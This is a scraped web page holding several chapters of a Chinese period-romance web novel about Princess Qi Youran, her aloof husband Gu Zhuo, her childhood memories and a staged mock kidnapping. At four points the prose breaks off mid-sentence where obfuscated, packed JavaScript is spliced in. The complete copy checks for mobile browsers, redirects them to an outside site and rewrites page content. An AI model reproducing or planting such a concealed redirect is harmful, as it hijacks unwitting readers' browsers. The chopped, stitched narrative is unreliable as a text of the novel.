“听说那老学究原本还义正词严，看见那些个孤本，眼睛都直了。”夏瑾捂嘴笑，转念想起昨夜顾濯的冷淡样子，又抿起嘴替她家郡主不值起来。 一副心事全写在脸上的样子看得祁悠然哑然失笑。 顾濯现任从五品典籍修撰，虽是个不高不低的闲职，祁悠然也想着照拂一二。 她不愿那人卷入朝堂纷争，却也不想他的才学黯然泯灭。 终究是私心重过天，既盼着他永远囿于这方清净书斋，又忍不住回想起年少时在听见他论及边关策时的心跳如擂。 她想起曾路过书房，瞥见他对着书卷出神的模样，烛火把他清矍的侧影拓在窗纸上，像幅悬在深霄里的薄绢画，刺得她眼窝发酸。 那夜落雪，她抱着手炉在游廊陪他站了半宿。 祁悠然自嘲地吹散茶雾。她这厢费心打点，这进退两难的滋味倒像护着盏滚烫茶汤，既怕他捧不住烫了手，又忧他搁久了凉透心。 这矛盾拧成的结卡在喉头，咽不下也吐不出，倒成了每日晨起对镜时，总要伸手按一按的疼。 ……她实在亏欠颇多。 . 雪后初霁的阳光刺穿云块，如缕缕金丝纵横交错，在铅灰云絮间游走——难得的好天气。 年关将至，残雪折光，市井喧嚣，人群熙攘。 祁悠然松开紧攥的袖口，任那点从记忆中带出的寒意，融在炊饼摊腾起的热雾里。 将那些情情爱爱搁置，眯眼感受阳光带来的温暖，祁悠然心情渐渐松快起来。 行至街市，梳垂髫的稚童扯着母亲褪色的棉裙，眼巴巴望着插满红果的草垛子，冻得通红的小手攥着半块黍米糕。 只可惜妇人正忙着置办年货议价，一时也顾不上身边这份望眼欲穿的期待。 祁悠然含笑看着，同夏瑾逗趣：“想吃糖葫芦吗？” 说罢，也不待夏瑾回答，将铜钱抛给小贩，自己兴致勃勃地买了两串。 她虽不好甜食，但也偶尔吃些解解馋。琥珀裹着的红果在她手上轻旋，糖衣晶莹剔透，衬得内里的山楂愈发红艳。 清脆的“咔嚓”声伴随着甜蜜与酸爽在口中交融。 当着孩子的面，她吃得格外香甜，眼尾曳起狡黠流光。 六分真情实感，四分表演心态。 那孩子咽了咽口水，心不在焉地啃着糕点，眼睛直直落在祁悠然手里那串糖葫芦上。糖葫芦晶亮的糖霜映进她瞳仁，乌溜溜的眼珠一眨不眨。 夏瑾手里也被塞了一串糖葫芦，不似祁悠然那般肚里冒着坏水，蔫坏地放大心满意足之感，她被孩子直愣愣瞧着，倒是生出几分不好意思来，窘得绢帕掩面。 祁悠然享受够了那孩子羡慕的目光，她才俯身将两串红果塞进幼童掌心，故意逗弄那孩童：“一串给你，另一串送给你娘亲。抓紧些，落地可就变作糖狐狸溜走了。” 那孩童却听得认真，紧紧攥着两串糖葫芦，瞪大了黑白分明的眼睛。 真得了糖葫芦，她竟不知该先舔还是先咬。待粉舌怯生生探向糖衣，忽又记起要留给娘亲，忙将竹签往怀里藏。奈何手小握不住两串，只得用下巴抵着，腮帮鼓若含珠，眼睫扑簌簌。发顶两个鬏鬏随动作乱颤，那副如捧稀世珍宝的笨拙情态，活像雪地里扑腾的雏雀，一副憨态可掬的模样。 饶是如此，另一只手仍攥着妇人裙摆，没想过松开半分。 一旁的众人目睹这一幕，皆忍俊不禁。 “小姑娘好造化，遇着散福的仙姑了。”卖糖葫芦的小贩打趣。 那妇人被这声响惊动，转眼便瞧见孩子怀里两串红艳艳的糖葫芦，顿时明白了事情原委。她也不忸怩，带着孩子一并同祁悠然爽落道了谢，面庞绽出春溪似的笑纹。 对方抱着孩子没入人群，唯余稚子从母亲肩头探出半张脸，正偷偷舔舐指尖沾的糖渍。 夏瑾瞧着祁悠然正望着孩童鼓起的腮帮出神，黛眉弯作新月，心情明显不错，正欲拉着她再逛逛集市：“郡主可要去前头瞧瞧年画……” 只是话音未落，一穿着灰色袄子的妇人突然冲出人群，对着祁悠然扑跪在地。 “求郡主开恩！”粗布襦裙扫过青砖，衰老的脸上拖出两道泥泞的泪痕，“我儿在炕上烧了三日，那郎中偏要二两银子才肯救命。” 祁悠然表情淡下来，眼底盛着的那点笑意也散去。她垂下拿着糖葫芦串的手，漠然地看着她：“立冬前便定下的规矩，年关不支工钱。” “求郡主开恩！求郡主开恩！”那妇人额角磕出血印子，嘶哑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你少血口喷人！”张嫣下意识反驳，她不自觉后退一步，又意识到自己的怯场，虚张声势地挺了挺胸脯。 眼见瞧不了祁悠然的笑话，张嫣本想离开，似是想到了什么，她又露出得意洋洋的神色：“镇北侯府的妙仪小姐不日抵京，郡主可要头疼了——”她故意抚了抚腰间的碧玺雕瓜形佩玉，“听说侯夫人特意带了个神医，要治顾世子膝下无子的隐疾呢。” “林夫人倒是消息灵通。侯府的事，就不烦你操心了。”祁悠然不冷不热撂下一句话，似讥似嘲。 顾濯自失恃失怙，受镇北侯一家颇多照拂，夫妻二人待他视若亲子。 年关在即，镇北侯携家眷回京述职。 她可还记得当年婚宴，这位侯爷看她的冷肃眼神，以及那位提着剑，恨不得杀了她的镇北侯夫人。 不过……前有温颜，后有宋妙仪，一个白月光，一个解语花，她的这位夫君，可真是招人啊。祁悠然苦笑。 5. 旧梦 或许是被连日奔忙磋磨了心神，祁悠然感到困意翻涌，她枕着疲累坠入一场旧梦。 往事侵袭。 她蜷在门槛旁，看着门前。 有人端着衣物神情麻木，有人挑着担子来去匆匆，有人扛着木犁脚步沉重。 总是有人经过。 浣衣妇指节冻出紫茄色，货郎草鞋底被砂砾磨穿，庄稼汉脊梁压成弯弧。 寒风卷着腌菜缸的酸腐气掠过，每道经过的影子脖颈都系着无形的绳，绳头攥在冻云低压的天际。 茅草门框出一段苍白的景，围困住里面的她，也禁锢住外面的人。 村头王寡妇的骂声混着远处牛车碾过土路的吱呀声音：“哎哟，刘家二丫又躲懒！” 没有，她没有偷懒，只是……实在太疼了。 冻疮裂口渗出血珠，搓麻绳磨破的掌心还粘着苎麻丝，稍一动弹就扯着筋肉疼。 看着灶屋阴影里堆着未劈的柴，细碎的呜咽从喉间溢出。 她不明白，为什么家里的活都压在她和阿姐身上，弟弟却可以什么都不用做；为什么阿姐和她只能留在家里干活，弟弟却可以被带去逛市集。 她背过身，小小的肩膀不住颤动。 “莺莺猜猜这是什么？”粗粝掌心突然覆上眼帘，轻轻拭干眼睫挂着的泪珠。闻到衣裳皂角香的瞬间，她嘴里被塞了块什么东西。 晃神的片刻，甜味漫过齿关。 “是糖，阿姐。”她吸了吸鼻子，抓住那只手，惊喜回答。 她没有名字，家里人都叫她二丫，只有阿姐喊她莺莺。 阿姐说，她出生在一个春天，窗外恰有黄莺鸟唱着歌。粗布襦裙上补丁摞补丁的少女不识字，却在柳絮纷飞的清晨，精心绣了一只灵动的莺鸟在妹妹的手帕角。 “快快吃吧，不然一会就变成糖猫儿从嘴里溜走了。” 她瞪大眼睛，捂住嘴，却仍止不住好奇：“为什么是糖猫儿啊？” “也可以是狗儿，鸟儿。” “还可以是糖狐狸。” “什么？” “糖狐狸，我上回瞧见宝珠在吃，那个红色的果子，她说是糖狐狸。”甜意从她眼底漏出来，凝成黑眸中细碎的星子。 “那是糖葫芦，下次阿姐也给你买。”清秀的姑娘看着乖巧可爱的妹妹，笑弯了眼，“现在莺莺张开手，乖乖让阿姐上药，抹上了开春就不痒了。” 日光将姐妹俩的影子投在腌菜缸上，扭曲成相依为命的藤蔓。 . “莺莺猜猜这是什么？”她又被捂住双眼。 翕动鼻翼却捕不到香味。 她赌气地挣开那双手。 “咦，糖狐狸！”鲜艳的红果映入眼眸。 她咽了咽口水，别扭地梗着脖颈偏头，却瞥见阿姐咬过一口红果，唇上沾了蜜色愈发明艳。 “莺莺不尝尝吗？那阿姐替莺莺吃掉了。” 温婉的姑娘夸张地感叹：“真甜啊。” 她终究抵不过诱惑：“我……也可以勉强尝尝。” 檐角漏下的雨滴坠入青苔，她舔了舔嘴角，期期艾艾地解释：“阿姐，我……我没有偷钱……弟弟在说谎……” 话音散在阿姐突然的拥抱里。 少女叹了口气，心疼地看着她手臂上的红痕：“我知道。莺莺是好孩子。是爹娘偏心。再等等再等等……” 她把那串红果递过去：“我尝好了，还给阿姐。” 少女菀然轻笑。 残雨收还滴，低云去复留。 . 又是一年冬。 “张家媳妇快生了吧？” “听说是个女娃。” “有钱有什么用，张家相公就是个没儿子的命。” “这话怎么说？” “嗐，你没听说吧，那张家相公的小妾也怀上了，比正室早了一个月，摸出来也是个女伢子。” “要我说，那刘娘子也可怜。谁不知道啊，当年为着几两银子就把女儿卖过去做妾，依我看，那个小的等不了几年，也要被卖了。” 村头老槐树下聚起闲言碎语。 她木然地走过，白胡子郎中的叹息犹在耳畔。 “黄爷爷，我阿姐怎么了？” 老人摇摇头：“本就体虚，近日又忧思过重，这胎要平安生下来，难啊。” “那要怎么办？” “人参吊命，须二两人参在生产时含着。” “什么是人参？比鸡蛋还金贵吗？” 老人哭笑不得地叹口气，摸了摸她的头。 是夜，她趁着家里人睡着，蹑手蹑脚跑去灶房，摸到倒数第二块青砖，把里面藏着的鸡蛋拿了出来——那是她得知阿姐怀孕就开始偷偷攒的。 四枚鸡蛋裹在粗布里，被她细心擦拭了一遍又一遍。 阿姐瘦了好多，却托着个大大的肚子，里头还卧着一个小小的娃娃。 鸡蛋是好东西，等阿姐生了妹妹，定要好好补补。 原本打算得好好的，阿姐三个，妹妹一个。 眼下，她却看着那几个鸡蛋发愁。 . 弟弟生病了，爹娘着急忙慌带着去城里看病，她一如既往被留下，只是这次，没有阿姐陪在身旁。 或许是承袭了冰冷自私的血脉，她竟然觉得这场病来得正好。 趁着家中无人，她一咬牙，恳求村里好心的卖货郎捎带她进城。 “小娘子捂紧些，城门风刀子利着呢。” 老马在雪地里深一脚浅一脚地走，她蜷在散发霉味的麻袋堆里，抱紧怀里的粗布包，体温隔着单薄衣衫传递给小小的鸡蛋，却暖不化贴身藏着的那块玉。 那是阿姐出嫁前给她的，千叮咛万嘱咐要藏好，不准让爹娘瞧见。 她忍不住回想起那天，齿间喜糖突然变得又苦又咸，阿姐临走前心痛而不舍的眼神，最终化作一声叹息，碎在风里。 她再一次红了眼睛，寒风卷着冰粒子灌进喉咙，泪水沉默地砸在冻疮遍布的手背。 村里大人说贵的东西可以拿去当铺换钱。 费了一番功夫找到目的地，她踮脚将粗布包裹推上柜台。 靛青绸衫的朝奉用尾指挑起布角，瞥见里头裹着的鸡蛋，鼻腔里滚出声嗤笑：“小娘子当我这里是草市？” 她抖开帕子，拿出那块玉：“这个如何？” 朝奉眼神一亮，又迅速遮掩过去：“看着倒也一般。” 她没错过那一抹精光，将玉攥在手里，故作成熟：“你说个数。” 朝奉捻了捻胡子：“勉强值五两银子。” 她皱眉，思忖片刻，虚张声势地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年耳尖薄红漫过玉色，看着她解开粗布包，便小心翼翼帮着将鸡蛋递给她，动作间指节微微蜷起，特意避开她虎口溃烂的冻疮。 “雪天路滑，你且仔细脚下。”他看了一眼屋外，又把竹伞递过去，雪松气息萦绕在侧。 她再次道谢，雕花门扉在她身后隔绝暖意，她迈向木门外的另一个世界。 . 祁悠然从混沌中醒来，依稀感觉自己仍在梦境徘徊，恍若隔世。 她撩起眼睫，意外撞入一道视线之中，深邃，专注，晦暗不明。 那双风雪俱灭的清寂眼眸中倒映出一个小小的自己。 她骤然惊醒，冷不丁闻到暖阁熏炉腾起的沉香，又不住咳嗽起来。 顾濯皱眉，倒了杯茶递给她。握着茶盏的手骨节分明。 祁悠然垂下眼，伸手接过。 错手的瞬息，指尖不经意触到。 分不清青瓷盏壁是热茶传递的烫意还是他掌间余温，祁悠然喉间生出一阵痒意。 无名的情绪化作振翅的蝶，颤巍巍栖在心口。 她勉强咽下热茶，眼尾洇着咳出的薄红，嗓音沙哑却先发制人：“你又来红绡楼做什么？” “……”顾濯默了一瞬，“接你回去。” 6. 雪夜 秦婳站在暖阁前，时不时抬头，奈何被门阻挡着，什么都看不到。 上次的场景历历在目。妻子亲身前往烟花柳巷，不吵不闹，只为寻欢的丈夫送衣裳；丈夫也没有逛花楼被妻子抓包的心虚，反倒独自抛下妻子离开。 今天……是反过来了吗？ 这对夫妻……实在奇怪。 门从里面打开，她慌忙退后半步。 两人一前一后出来。 顾濯面无表情地径直往外走，没分给她半点目光。 祁悠然冲秦婳颔首：“抱歉，不自觉睡着了，倒是亏着姑娘的好琴艺了。” 秦婳看她眼底掩不住的倦意：“无妨。郡主珍重身体要紧。” . 原本她以为这位郡主只是同张妈妈说笑，没想到真的又来了红绡楼。 向来强势的张妈妈一副如临大敌的样子，看得她忍不住幸灾乐祸笑出声。指名道姓要她时，她才想起那天说起的包身的事。借着这位郡主的庇护，她近来日子好过不少。可也没想到竟真要再次去侍候。 待会过神来，秦婳已经不知所措地坐在暖阁。 祁悠然今日衣着同上次没有太多差别，发间仍是一只简单白玉簪，铅华敷得薄，却比满楼莺燕都清艳三份。 她不自觉攥着身上的衣裙，忽觉袖间芍药俗气得扎眼。 “你可认识一个鬓边带着绢花，怀抱琵琶的姑娘？”祁悠然将手中漆盒放下。 秦婳怔愣抬眼。 “上回鲁莽，不小心弄脏了那姑娘的鞋，特意买了新的赔不是。”祁悠然解释。 秦婳眸光微动，看她的目光带了几分真诚：“是芸娘。妾身的琵琶曾受过她指点。” 祁悠然笑笑：“那芸娘的琵琶可否让我领教一二？” 秦婳咬唇：“她……前两年伤了手，现在也只能奏些乡野俚曲……” 祁悠然一顿：“是我唐突了。” 两人陷入短暂的沉默。 半晌，祁悠然拿过桌上的糕点咬了一口：“秦婳姑娘继续上次那首曲子可好？” 秦婳点点头，转轴拨弦。 金戈铁马，剑戟相斫。弦音如刀，将一曲《十面埋伏》弹得精妙绝伦。 “你去过边关？”祁悠然轻抚掌心称赞。 秦婳：“郡主说笑，芸娘和乐坊师傅教得好罢了，奴家平日里也偏爱看些话本子，讲那边塞将军的故事可不少，看得多了，也勉勉强强能琢磨出些意境。” 她垂眼抚摸着琴弦：“绣鞋小巧，连这乐坊后院的青石板路都走不利索，怎么承受得住边塞的沙子？” 祁悠然注视了她片刻：“可会《春江花月夜》？” 弦声渐如清泉出涧。 一曲奏毕，秦婳不自觉露出笑意。她自从到了红绡楼很久没有这种感觉了——不用忍受凝视的目光，只专注于琵琶。当年初学琵琶时不识愁滋味的场面仿佛犹在眼前。 她抬眼，发觉祁悠然不知何时睡着了。她阖眼斜靠在榻上，一只手撑着腮侧，另一只手自然垂下，指尖松松勾着半块酥皮山楂饼。 此时楼内人不算多，暖阁尚且静谧。铜制香炉吐着甜丝丝的沉水香，暖意温情地铺展至四面八方，空气中泛动慵懒的涟漪，偶有窗外冷风扑在窗纸上的模糊声响传来。 她也久违地放松下来，甚至有余裕注意到祁悠然腕侧的疤痕。 未来得及细看，门突然被推开，她侧头看向来人。 顾濯玄狐大氅上寒意未散，目光触及祁悠然恬淡的睡颜，微微一愣，脚步不自觉放轻。 随后似是反应过来，他冷淡地看向秦婳，压低声音：“出去。” 此时天色未完全暗下，暖阁虽掌了灯，仍贮着迟暮的天光。祁悠然的面孔恰搁在这明暗交割处，一半溺入窗柩漏进的余晖，另一半浸在烛火琥珀色的柔光里。 她睡得有些沉，呼吸绵长，垂下的睫毛长而浓密，不时轻颤，颊边浮着薄绯，像流霞偷饮了佳酿，在暮色里懒洋洋跌了个滚，从天边扑到她脸上，醉醺醺栖在腮畔不肯醒。 顾濯错神须臾，眉眼堆积的寒意似乎淡了一点。 秦婳抱琴退至屋外，雕花门扉将合未合之际，她窥见顾濯抬手，轻轻拿走了祁悠然手里的半块糕点。 动作间他似是轻笑了一声，但又很快将嘴角的弧度压下。 不经意漏出的温柔稍纵即逝，仿佛是灯影作祟的错觉。 . 裴朔醉醺醺朝楼上走，边走边搂着一个娇客往朱漆栏杆上压，猝不及防和顾濯打了个照面。 他挑眉，露出狎昵的笑：“晏川怎么想到来红绡楼了？” 也不待顾濯开口，他便言语轻佻地揣测：“莫不是要学那韩寿偷香？依我看，秦婳姑娘那一双玉手确实妙，只用来弹琵琶倒是可惜——” “裴公子小心脚下，虽说牡丹花下死，做鬼也风流，不过这么摔死，未免也太丢脸了些。”祁悠然皮笑肉不笑地打断他的下流话，嘴角噙的笑比屋外冰雪还冷三分。 裴朔这才看见顾濯身后的祁悠然，他神色一顿，一副活见鬼的样子，醉眼里也浮出三分清明。 . 街边飘来一阵糕点香，祁悠然撩开车帘：“停车。” “这么晚了还没有收摊？”她下马车。 路边支摊的老妪呵着白雾，认出她后冲她笑笑：“快了。” 老妪似是想起了什么：“小娘子上回买的梅花糕可还适口？你夫君可喜欢？” 顾濯一愣，垂眸看她。 祁悠然神色未变：“送给别人赔礼了。” “剩下这些我全买了，你快些回去吧。” “这怎么好意思……” “我喜欢，我夫君……也喜欢。” “可这也太多了。” 祁悠然正想再劝她。 “江烨，付钱。”顾濯突然开口。 老妪一愣，看着他们，乐呵呵笑起来，絮絮说着吉祥话。 祁悠然看向顾濯，眼中流光暗涌。她自欺欺人地生出几分恃宠而骄的熏熏然来：“这里离侯府不算太远，我们走回去吧。” 顾濯静静注视着她，一贯平淡冷漠的眼底浮着捉摸不透的光。 祁悠然敛目，将那点溢出来的异想天开尽数藏起：“算了……” “好。” 天上下起了雪，零零散散飘落着，不算大，也不算小。 顾濯撑起伞。 青石板上的影子被月光拉长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“宋伯父近日归京，到时要去拜访，你看看库房，拟一份礼单。” “好。” “你刚刚要说什么？” 祁悠然顿了顿，到底没把问询他体内寒毒的话说出口。 她把酥酪往顾濯手边推了半寸：“味道不错，你尝尝。” “……尚可。” 顾濯搁下勺子，看了眼桌上的菜：“我去书房，你早些歇息。” 祁悠然闻言应下。 一顿饭对话滞涩，两人都带着些没话找话的刻意，却是他们这一年难得称得上温情的时刻。 她盯着桌上的那碗火腿青笋，油花浮在面上，看着颇没胃口。 对着冷炙残羹发了会呆，她起身离开。 罢了，总比三年前好些。那时他们都有意地避开对方，连面都难见上一见。 两个孤家寡人成了亲，依然是孤家寡人。 7. 劫持 “怎么又瘦了？”杜茯苓心疼地看着顾濯，眼角不禁湿润，“若是兰卿还在，看到你这副模样……” 顾濯指尖在青瓷盏沿蜷了蜷，终是垂眸任茶水热气洇过睫影。他向来不会应付长辈的关心。 宋观拍了拍夫人微颤的肩安慰。常年驻守边关的侯爷总是寡言冷厉，也只有触及夫人时会目露柔情。 杜茯苓神色不忿：“濯儿这算什么？明明已经及冠，仍被拖着不得袭爵，现在也只能在翰林院担个闲职。” 宋观叹气，他看向顾濯：“昨日面圣，我同陛下提起你袭爵一事，又被草草揭过。庆国公那帮老臣反对不说，陛下也是顾左右而言他。” 杜茯苓皱眉拍案：“明日我便递牌子进宫，求爹爹请出太祖赐的丹书铁券！” 她是老来女，自幼颇受宠爱，出嫁后夫妻恩爱，后宅安宁，可谓事事顺心，唯有顾濯一事，如鲠在喉。 “那帮老贼安逸惯了，怎么愿意权力分落旁人。怕不是咱们这位陛下也——” “夫人！”宋观打断，眉宇间尽是无奈，“慎言。” 顾濯看向杜茯苓：“苓姨不必为我做到如此，况且，这样只会惹陛下厌烦。仕途的事，我……自有分寸。” “你这孩子……”杜茯苓恨铁不成钢地看他，终是软下态度，语气懊恼，“你同温家那孩子结亲也好啊……朝堂上也有个帮你说话的。要不是当时妙仪还小，我也乐意你们亲上加亲……” “苓姨。”顾濯打断她，“妙仪一直是我妹妹，我并无此意。” 陆茯苓叹了口气，嗔怒道：“三年前我就该阻止那个女人与你成亲，哪怕冒着触怒龙颜的风险。瞧瞧你被她拖累的，名声仕途不算，还中了那劳什子寒毒，也不知道这次寻来的那位邬先生能不能治好。” 顾濯注视着书房的舆图，眼底一片浓郁的暗色。 杜茯苓还欲言语，屋外突然传来嘈杂声响。 她眉心拧起：“什么声音？” 丫鬟冒冒失失闯进来，扯着嗓子喊：“不好了不好了，小姐被歹人劫了。” . 东边的黑衣人劫着祁悠然，冷铁寒光正悬在她喉间，执剑的手势活似新学徒头回使菜刀切豆腐，剑尖总在咽喉半寸外打转。身子后仰如避蛇蝎，恨不得离她八里地。 西侧的黑衣人则剑抵宋妙仪，夜行衣襟上沾着片芫荽叶，许是翻墙时蹭到了后厨的菜地。 两柄剑磨得锃亮，可细看使起来还不如老妪纳鞋底的锥子利索。 夜行衣在朔风里猎猎作响，两位好汉约莫是头回做这营生，跟着人家话本里的风流剑客照葫芦画瓢，奈何经验不足，东施效颦，扮相粗糙简陋，动作生疏畏缩。 两袭黑衣挨得近了，倒像市集那捏糖人摊子上的半成品。其形也，翩若惊鸿偏遇八级罡风；其态也，矫若游龙惨遭雷劫劈叉；其势也，恍若大禹劈山忽忘带开山斧；其韵也，浑似敦煌飞天错饮二锅头。 檐角铜铃忽地叮咚，惊得东边那位黑衣人做贼心虚地腾出手捂了捂自己的面巾。 顾濯疾步至廊下，便看到了这一幕。 他皱眉，与祁悠然的目光在空气中相触，无声询问怎么回事。 祁悠然冲他无辜地眨眨眼，同样回以困惑目光，甚至有闲心耸耸肩。 . 今日她同顾濯拜访镇北侯府，杜茯苓一向对她没好气，一进门就忽视她直接把顾濯喊去书房叙旧。 知道这一家子都不待见她，祁悠然被撂在一边也不生气，随遇而安地在花园转悠。 恰遇上宋妙仪。 许久不见，少女又抽条了不少，一袭黄杉，明眸皓齿，亭亭玉立。只是看她的眼神却是不变的挑衅厌恶：“莲心，门口护院该好好管束管束了，怎么什么人都能随随便便放进侯府？” 祁悠然觉得先前评价宋妙仪的“解语花”三字有失偏颇，这脾气怎么看都像个呛人的小辣椒。 刚好闲来无事，她存了逗弄的心思：“妙仪小姐及笄一年有余了吧，可有心上人了？枕下可曾藏过绣坏的鸳鸯帕？” “你……”少女涨红了脸，活似炸毛的狸奴。 祁悠然在心里叹了口气。 宋妙仪喜欢顾濯实在明显，只有她自己傻乎乎以为藏得好。 然而在祁悠然看来，宋妙仪对顾濯并非男女之情，不过年少孺慕，只是当局者迷，她还困在自说自话的少女心事里出不来。 宋妙仪看着祁悠然向她走来，警觉地后退几步，没好气地问：“你做什么？” 祁悠然打量着她今日的装束，帮她把歪了的发簪扶正，顺手解了发绳的死结，还摸出块饴糖塞进少女掌心，笑眯眯道：“夜寒露重，暖暖身子。” 还未多说几句，屋檐飞进来两个黑衣人，不由分说朝祁悠然袭来。 祁悠然心神一紧，下意识推开宋妙仪，自己挡在她跟前。 黑衣人来势汹汹，武功不弱，下手却留了力道。 祁悠然踉跄后退间拔下发钗，尖锐的簪尾胡乱刺向对方命门。 黑衣人下意识挡住，手上使了力，将剑鞘撞向她胳膊，拧住她双手。 祁悠然被制住，正欲作玉石俱焚的架势，不安分地挣扎着。 那人没想到她如此麻烦，动作一僵，勉强牵制住她的胳膊，五指张合间透着笨拙的克制，语气不自然道：“莫、莫要乱动。”尾音打着旋儿往上升，底气不足。 少年声音干净清透，隔着面巾带着些许沙哑。 余光里，玄色面巾下透出半截耳尖，红得滴血。 祁悠然察觉到一丝异样，故意踉跄半步，少年慌忙撤手去扶她。她趁势抬眼看去，另一名黑衣人竟轻松制住了宋妙仪。 看样子不像劫持行凶，倒像……过家家。 她眯起眼睛，心里却松了一口气，忽地卸了力道。应该不是那些人。 接着，她便看见顾濯同宋观夫妇匆匆赶来。 她身后那黑衣人似是叹了口气，下了好大一番决心才缓缓开口，发出磕磕绊绊的质问，活似学堂蒙童背《千字文》：“顾……顾世子，这两个……这两个女人只能活一个，你……你选谁？” “噗嗤——”祁悠然没忍住，“小郎君这话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860263|175983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本子是从哪里淘来的？” “你……安静些，不准笑！”她身后的黑衣人少年恼羞成怒，气急败坏地呵斥。 祁悠然懒洋洋打个哈欠，若不是顾及这位杀手少年的颜面，她甚至想伸个懒腰。 “我一深闺妇人就不说什么，妙仪小姐可是在边关懈怠了？功夫退步不少啊，连这两个三脚猫功夫的刺客都招架不了几回合，轻而易举就被制服了。”她轻描淡写地拱火。 轻飘飘一句话，惹怒了三个人。 “我宋家的女儿就用不着郡主你操心了。”杜茯苓冷冷开口。 哦，还惹了一个。 杜茯苓看向顾濯：“濯儿还不快选？” “夫人，你怎么也跟着他们闹？”宋观抚额长叹，他瞪着女儿，“你们在玩什么把戏？快放人！” 奈何没人听他的。 “苓姨……”顾濯无奈看她。 祁悠然一副看好戏的心理，甚至觉得场面不够乱，往里又添了一把火。她倏地变了脸色，蹙眉凝眸一条龙，指尖轻抚平坦小腹，哽咽着开口：“夫君……我已有孕在身。” “什么！你……你们……”比顾濯更惊讶的人大有人在，宋妙仪也不管身后那人，惊声高呼。 “濯儿，她说的可是真的？”杜茯苓震惊地看他。 “……”顾濯张了张嘴，一时不知道该说什么。 夜风吹得久了，祁悠然忍不住又咳嗽起来。她身后的黑衣少年身体更紧绷了。 犹豫半晌，他放下剑，故作深沉地开口：“你……你且走吧，小爷我不欺负孕妇。” “我不走。” “什么？”那少年怀疑自己听错了。 “我说我不走。” “？” 愣神间祁悠然抬手扯落少年脸上的面罩。 那是个看上去不过十八九的少年，眉眼间英气勃勃，目若朗星。动作间惊得他鼻梁处小痣微微发颤。 “你做什么？”少年捂脸间急退半步，嗓音劈了岔。 “谢将军的二公子谢珩？” “你怎么知道？” “本来不知道，现在确定了。” “你……” “那另一位便是三公子谢瑄了。” 祁悠然没再理会那少年，踱步到宋妙仪面前，闲闲拨开抵在宋妙仪喉间乱颤的剑身：“闹够了？” “你在说什么？”宋妙仪心虚地偏过眼，不看她。 “今日无人，也就任你同这两人玩过家家把戏。该罚还是要罚。”祁悠然居高临下地看她，“你是主犯吧，在院子里跪一个半时辰，另外两个跪一个时辰。” “祁悠然！”杜茯苓眼风扫向她。 “劫持皇封郡主该当何罪？若有他人在场，传到陛下耳朵里他又会怎么想？你镇北侯有几条命来抵？”祁悠然厉声质问。 “郡主说得是。今日小女唐突，本侯代她向郡主赔罪。”宋观沉声应下。 祁悠然略过众人，走到顾濯身侧，在他耳畔开口：“顾濯，我是陛下亲封的郡主，我不管你心里怎么想的，你只能选我。” 8. 母亲 “这位郡主好像与茶馆说书人口中的不大一样……”谢珩跪在后院，小声说。 宋妙仪怔忡未应，祁悠然在自以为遇险时那记推搡来得太急太过突然，动作间她似是有些许熟悉的感觉。 她想起了秋狝遇险时，顾濯劈手将她推离狼群袭击的那一下。 难道当时认错了人？她摇摇头否决这个猜测。 她认得出那人袖风里带着的松木香——那是顾濯特有的。 “《冷王擒心：霸道王爷轻点宠》《折春枝：风流丞相俏夫人》《春欲晚：清冷世子纨绔妃》……宋小姐涉猎颇多啊。”祁悠然广袖扫过梅枝，慢悠悠踱步走来，手里拿着一堆乱七八糟的话本子。 “你干什么！还我！”宋妙仪听到她念到那些书名就按捺不住了，炸毛蹿起，恼羞成怒地吼了一声，活似被踩了尾的猫。 “这些现在归我了。”祁悠然挑眉。 “你……”宋妙仪盯着青砖缝，此地无银三百两地辩解着，声若蚊呐，“关我什么事？我没看过，横竖不是我的……” 前后话语自相矛盾。 祁悠然抬头看了眼天空，冻云如若冷砚中的宿墨，蓄着沉甸甸的寒意，似是又要下雪。 “算了，再跪一会就起来吧。” 宋妙仪愣住，看她的目光微动。 “不过现在嘛……”祁悠然看着眼前面红耳赤的少女，忽将《纨绔妃》拍进她怀里，“念。” “你疯了？！”宋妙仪控制不住尖叫，“你休想！我就算跪一晚上，跪穿这地砖，我也不会……” “这么激动干什么，你不是没看过吗？” 她心虚地移开目光：“反正我不念。” “那便呈给宋夫人品鉴品鉴？”祁悠然一副游刃有余的调侃姿态。 “你……” “怎么了？不是说不是你的吗？宋小姐身正不怕影子斜，想必不会有什么事。” 宋妙仪愤愤地瞪着祁悠然，银牙咬碎：“他……他唇畔浮起三分讥诮七分浪荡……”念至“挑起楚娇娇下巴”时，喉间卡了鱼刺般涨红脸。 “噗！”祁悠然笑跌在石凳上，发钗随之簌簌急颤。 “接着念，不许停。”慢条斯理威胁完宋妙仪，她看着偷乐的谢家两兄弟：“这般胡闹点子，你俩也由着她？” 谢珩耳根子又不自觉腾地烧起来：“她答应请我们去松风楼吃饭。” 